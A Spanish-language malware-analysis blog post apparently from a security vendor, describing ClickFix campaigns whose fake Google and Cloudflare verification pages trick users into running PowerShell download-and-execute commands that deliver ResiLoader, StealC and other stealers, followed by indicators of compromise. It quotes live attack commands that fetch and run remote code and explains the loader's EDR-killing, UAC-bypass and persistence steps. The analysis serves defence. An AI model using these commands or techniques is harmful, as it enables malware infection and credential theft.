Los ataques «ClickFix», que engañan a los usuarios para que ejecuten ellos mismos comandos maliciosos, siguen evolucionando. Esta última campaña utiliza páginas de verificación falsas de Google y Cloudflare para convencer a las víctimas de que infecten sus propios dispositivos.
Un solo error puede provocar la instalación de malware que robe contraseñas y otros datos confidenciales, permita a los atacantes acceder de forma remota a tu ordenador o descargue malware adicional capaz de tomar el control total de tu sistema.
Hemos descubierto varias campañas que utilizan la misma infraestructura para distribuir malware, entre los que se incluyen HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport y un programa de robo de datos basado en Rust.
En una cadena de infección, una versión troyanizada de la aplicación legítima de mensajería Franz descarga un cargador hasta ahora desconocido denominado ResiLoader, que desactiva el software de seguridad antes de desplegar el programa de robo de información StealC.
Antes de entrar en los detalles técnicos, a continuación te explicamos cómo evitar convertirte en la próxima víctima.
Cómo mantenerse seguro
Los ataques de ClickFix se basan en convencerte de que ejecutes tú mismo los comandos. La forma más segura de actuar es muy sencilla:
- Nunca copies ni ejecutes comandos de una página web, a menos que estés siguiendo las instrucciones de una fuente fiable y entiendas exactamente qué hace el comando.
- Ten cuidado con las páginas de verificación. Google, Cloudflare, Microsoft y otros servicios legítimos nunca te pedirán que pegues comandos de PowerShell en Windows demostrar que eres humano o Windows solucionar un problema.
- No dejes que la urgencia te precipite. Las páginas de verificación falsas suelen utilizar contadores de tiempo, contadores de visitas o advertencias para presionarte y que actúes rápidamente.
- Mantén actualizado tu software de seguridad. La protección en tiempo real y la protección web pueden ayudarte a bloquear sitios web maliciosos antes de que accedas a ellos.
- Desconfía de las instrucciones técnicas inesperadas. Si una página web te pide que abras PowerShell, el Símbolo del sistema o la Terminal, detente y comprueba las instrucciones a través de los canales oficiales de asistencia de la empresa.
Consejo de experto: Malwarebytes Browser Guard puede avisarte cuando una página web intente copiar contenido a tu portapapeles, un truco habitual que utilizan las páginas de ClickFix.
Análisis técnico
Las campañas analizadas en este estudio llevan activas al menos desde finales de 2025 y utilizan diversas páginas falsas de Google y Cloudflare para distribuir malware. Aunque los señuelos difieren, comparten en gran medida la misma infraestructura y cadena de infección, y los atacantes prueban continuamente nuevos métodos de distribución y cargas útiles.
Diferentes señuelos, un mismo objetivo
La mayoría de las campañas comparten varias características:
- Uso de la carpeta
C:\ProgramData\Zoomspara extraer las etapas posteriores - Comandos de PowerShell ClickFix que siguen patrones similares
- Uso de los buckets de Cloudflare R2 para distribuir cargas útiles
- Direcciones IP alojadas por ASN Dedik Services Limited
- Respuestas HTML que contengan únicamente la frase
"hehe"
Estos indicadores han cambiado con el tiempo, por lo que no aparecen en todas las cadenas de infección. Las campañas siguen evolucionando, y se introducen regularmente nuevas cargas útiles y métodos de distribución. Por ejemplo, en algunos casos, se utiliza directamente la dirección IP para distribuir la carga útil, en lugar de los «buckets».
El comando final copiado por el usuario suele seguir este patrón:
powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”
El puerto y la ruta no siempre están presentes en los casos analizados; los puertos son aleatorios, pero algunos de los que se utilizan son: 6600, 9900, 5506, 7895, 7493, 149 y 8442.
Para ejecutar estos comandos, se utilizan varias plantillas relacionadas con ClickFix, principalmente vinculadas a Google y Cloudflare. También hemos detectado que, en algunos casos, el comando de PowerShell se distribuía a través del marco IClickFix.
Hemos observado que estas campañas de ClickFix se distribuyen a través de:
- Páginas web antiguas que probablemente hayan caducado y hayan sido readquiridas por el autor o los autores.
- CloudFlare Pages (
.pages.devdominios). - Sitios web comprometidos.
- Servicios falsos, por ejemplo, relacionados con códigos QR o con el acceso a archivos web.
Google ClickFix atrae a los usuarios
Los responsables de estas campañas utilizan diversas páginas HTML y kits relacionados con Google.
Uno de los señuelos simula la verificación de Google reCAPTCHA. Las páginas están alojadas en direcciones URL aleatorias que muestran contenido falso o malicioso. Estos dominios suelen ser registros antiguos que recientemente han comenzado a apuntar a nuevas direcciones IP, lo que sugiere que se han reutilizado para la campaña.
Algunas de estas páginas tienen parámetros de URL como «zoneid», «cost», «device», «country» o «clickid», por ejemplo:
/conf/captcha.html?zoneid=10420852/wincapbot/nobot.html/xmr/trkuste.php?zone=5327134bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop


En este caso, las funciones relacionadas con ClickFix se implementan en la clase CustomCaptcha. El comando aparece sin cifrar, sin ningún tipo de ofuscación.

Otro método de distribución utiliza Cloudflare Pages alojado en .pages.dev subdominios.

En este caso, la página HTML se ofusca declarando varias variables y aplicandoles la operación XOR. El código desofuscado se denomina SECURITY GATEWAY y está compuesto por las funciones GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController, y PanelController.
El código permite a los atacantes recuperar el comando, ya sea de forma remota o local. En este ejemplo, el comando malicioso de PowerShell se almacena localmente.

También hemos descubierto que algunos de estos dominios han difundido otro señuelo en el pasado, en este caso relacionado con un inicio de sesión no autorizado en Google. Este señuelo de ClickFix pide al usuario que copie y pegue el comando malicioso para configurar su dispositivo como principal.

Lo interesante de este kit ClickFix es que cuenta con una «puerta de autorización», tal y como se describe en los comentarios, y que el atacante debe seleccionar manualmente en el panel qué comando quiere que ejecute el usuario.


En campañas más recientes, hemos detectado un señuelo de ClickFix relacionado con Google Meet, que exige copiar y pegar un comando malicioso para solucionar problemas de audio.

En los casos analizados, el criterio de valoración /api/driver-clipboard.php devolvió el siguiente comando malicioso:
{"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""}
Otros señuelos
Los responsables de esta campaña utilizan diversos kits y señuelos, en su mayoría relacionados con Google. Sin embargo, hemos detectado otros señuelos que copiaban comandos relacionados con la misma infraestructura.
Los atacantes responsables de estas campañas también comprometen múltiples sitios web utilizando diferentes plantillas relacionadas con el señuelo «CloudFlare ClickFix ».


Hemos detectado varias plantillas utilizadas para las páginas de CloudFlare. El comando aparece en texto sin cifrar o, en algunos casos, ofuscado en los casos analizados.



También hemos detectado algunas páginas web de servicios falsos creadas específicamente con este fin. Por ejemplo, la página «My QR Generator» muestra un código QR ofuscado y pide al usuario que ejecute un comando de PowerShell para verificar que no es un robot.

En este caso, el comando está codificado en base-64:

Programa de descarga de PowerShell
El comando «ClickFix» ejecutado por el usuario descodifica un script y lo guarda en la carpeta «Temp» con el nombre tmp{4 char}.tmp.ps1.
Hemos detectado varias variantes de este script, pero las versiones más recientes hacen lo siguiente:
- Crea la carpeta
C:\ProgramData\Zooms. - Descarga la siguiente etapa desde un bucket de CloudFlare y guárdala en
C:\ProgramData\Zooms. En algunas variantes del script, la siguiente fase se descarga directamente desde una dirección IP. - Envía la información del equipo afectado a
http://{IP}/dl-callback. En algunas variantes del guion, esta parte no aparece.

Los atacantes responsables de estas campañas utilizan un gran número de cargas útiles diferentes. Las campañas distribuyen una amplia variedad de cargas útiles. La tabla siguiente resume algunos de los nombres de los archivos descargados y el malware que instalan. En muchos de los casos analizados, la carga útil final se distribuyó mediante el secuestro de DLL, como también veremos más adelante en el caso del ladrón de datos StealC.
| Archivo distribuido | Malware distribuido |
libEGL.zip, Safe-1.zip | Aplicación Electron troyanizada, ResiLoader y StealC |
Test.msi | Deno Loader y PowerShell Stealer |
arworks.zip | Amatera Stealer |
water-night.zip | Remus Stealer |
Setup.msi, Invintrum_first.msi | NetSupport |
traffic1.msi | CastleLoader |
ibrowser.exe | Ladrón de óxido |
Hemos analizado un nuevo cargador llamado ResiLoader que, en última instancia, distribuye StealC. También hemos detectado que el autor de la amenaza, en las últimas campañas, ha empezado a utilizar Deno para distribuir, al final, un programa de robo de datos desarrollado en PowerShell; el análisis de esta cadena de infección podría ser objeto de una futura entrada del blog.
Las descargas de la aplicación Electron infectada con un troyano descargan ResiLoader
En este caso, el archivo ZIP se descargó desde:
pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip
Tras la extracción a:
C:\ProgramData\Zooms\libEGL.zip_ext
El archivo zip contiene una versión infectada con un troyano de la aplicación de mensajería de código abierto llamada «Franz»:

El código malicioso está implementado en el index.js archivo:

El programa de descarga realiza las siguientes operaciones:
- Decodifica las cadenas con la función
HC(). - Lecturas
readme.txt, espera una clave de campaña con el siguiente formato:AAAA-BBBB, lo devuelve como una matriz de tokens. En este caso, el nombre esresiloader-1y por eso llamamos «ResiLoader» a la DLL descargada. - Lecturas
%APPDATA%\setup.txt; si no se indica, genera una cadena aleatoria de 8 caracteres y la guarda. - Cómo conseguir persistencia mediante
app.setLoginItemSettings. - Envía una solicitud POST a
https[:]//completstep[.]com/api/y elaborar la respuesta JSON- Si
task.esi está presente, se ejecutaeval(task.e); permite al atacante ejecutar código JavaScript arbitrario. - Si
task.filessi existe, crea%TEMP%\<Date.now()>\, descodificar y escribir cada archivo; si algún nombre de archivo termina en.exe, ejecútalo a través dechild_process.exec.
- Si
En nuestro caso, recibimos un archivo ZIP que lleva a cabo el secuestro de DLL de ssh-add.exe:
{"task":{"name":"JUNE18USY","files":{
"msys-2.0.dll":"<base64>",
"msys-crypto-3.dll":"<base64>",
"msys-gcc_s-seh-1.dll":"<base64>",
"ssh-add.exe":"<base64>" }}}
A continuación, se ejecutó el archivo ejecutable con:
C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe""
ResiLoader
En msys-crypto-3.dll es un código ofuscado .NET NativeAOT loader que implementa la evasión de los sistemas antivirus y de detección y respuesta ante amenazas (EDR) mediante una técnica BYOD, consigue persistencia y, en última instancia, carga el programa de robo de datos StealC. No hemos encontrado una atribución específica para este cargador, por lo que lo hemos denominado «ResiLoader» basándonos en la cadena presente en anteriores readme.txt.
El cargador contiene varias cadenas de texto, algunas en claro y otras cifradas. Tras descifrar las cadenas, es posible obtener una visión completa de la funcionalidad de ResiLoader.
MANPO: ReadModule len=...
MANPO: magicOffset=...
…
PERS: FAIL all file copies failed, skipping run key
PERS: FAIL both HKLM and HKCU Run key writes failed
…
RUNPE: CreateProcess failed
RUNPE: PEB patched
RUNPE: VirtualAllocEx failed
…
POST: RunForever exited (unexpected)
POST: entering RunForever
POST: hollow=
La cargadora realiza las siguientes operaciones:
- Extrae el blob codificado que contiene dos cargas útiles leyendo el marcador
AtLorenBasey la longitud del blob codificado. A continuación, decodifica el blob y descifra el controladorpcdhost.sys(OPSWAT
AppRemover Driver) y la carga útil StealC mediante un algoritmo de descifrado personalizado. - Cierra más de 140 procesos relacionados con EDR/AV utilizando el controlador desactivado.
- Realizar la omisión del UAC mediante
ICMLuaUtilInterfaz COM mejorada. - Crear una carpeta
C:\ProgramData\Google Update, copiándose a sí mismo; añadiendo persistencia mediante la clave de registro RUN cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe
Al final, el cargador lleva a cabo el vaciado del proceso ServiceModelReg.exe para ejecutar el programa de robo de datos StealC.
COIs
Hash
72907d0ca3258365838626f6a8d993a6: ResiLoader DLL
0234E3188F2883A438B3F2BEAB7A78B2: StealC
6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus
206ce339febca0c3bcc850f42595fc63: Amatera Stealer
eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT
b8d53740024d126cb55f83854335a4ab: Ladrón de óxido
Dominios
Distribuir las páginas de ClickFix:
onegeekworld[.]com
thefirmos[.]com
antibotv3[.]com
centralwildcats[.]com
cloud.antibotv3[.]com
cloudautosolutions[.]com
sunseekersupply[.]com
123clocks[.]com
orcanegames[.]com
rwmonitoring[.]com
100furniture[.]com
nepalcharchaa[.]com
p-floribunds.pages[.]dev
pg-altirade2.pages[.]dev
pg-cordivant-m6.pages[.]dev
g-luminence.pages[.]dev
generator-qrcode[.]online
regdev-google[.]com
khosla[.]capital
eorgke09054909j[.]com
dropboxi[.]com
Depósitos de CloudFlare utilizados para la distribución de la carga útil:
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
pub-620528e2dc874e16937673265aa23d39.r2[.]dev
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
pub-9682d5896df841679c5a17eb41273f89.r2[.]dev
pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev
pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
unitedstateverif[.]com: distribución de la carga útil
bigflaredefence[.]com: distribución de la carga útil
popularcard[.]shop: Rust Stealer C2
xzz[.]proxygrid[.]cc: Amatera Stealer C2
completstep[.]com: Cargador C2
eventlogerps1[.]ink: Deno Loader
be231ro963[.]com: Deno Loader
IP
Dirección IP utilizada para la distribución de la carga útil:
151.240.151[.]126
85.239.149[.]16
85.239.149[.]40
93.152.224[.]29
151.240.151[.]46
93.152.224[.]167
85.239.149[.]78
192.69.195[.]131
135.181.171[.]40
94.26.83[.]206
91.92.34[.]128
85.239.144[.]31
93.152.224[.]39
94.26.90[.]112
146.19.248[.]120: StealC C2
Agradecimientos
- Se ha notificado un dominio relacionado: https://x.com/stop_spammerz/status/2070152741037477960
- Se ha notificado un dominio relacionado: https://x.com/Yuki27183/status/2047354005605777850
- Se ha informado de un caso de infección en Reddit: https://www.reddit.com/r/antivirus/comments/1stn24v/best_thing_to_do_after_getting_malware/
- Posible cadena de contagio relacionada: https://github.com/MessyToilet/csgo-scam-via-powershell-5-31-2026




